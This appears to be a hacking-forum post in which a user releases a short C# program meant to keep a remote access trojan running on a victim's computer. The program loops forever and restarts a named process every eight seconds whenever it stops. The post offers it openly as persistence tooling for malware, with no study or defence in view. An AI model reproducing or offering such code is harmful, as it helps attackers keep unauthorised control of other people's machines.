OP 28 March, 2020 - 11:35 PM
(This post was last modified: 28 March, 2020 - 11:42 PM by radical133775.)
hey wassup people, today im releasing this code i made in 2min. basically it keeps your rat open on your victim computer.
Code:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Threading;
namespace persistance
{
class main
{
public static string procname = "notepad"; // your process name or path
static void Main(string[] args)
{
while (true)
{
Process[] pname = Process.GetProcessesByName(procname);
if (pname.Length == 0)
{
Console.WriteLine("Process is not running...trying to start it");
try
{
Process.Start(procname);
}
catch (Exception) { Console.WriteLine("Cannot run"); }
}
else
{
Console.WriteLine("Process is running.");
}
Thread.Sleep(8000); // sleep so we dont eat the cpu
}
}
}
}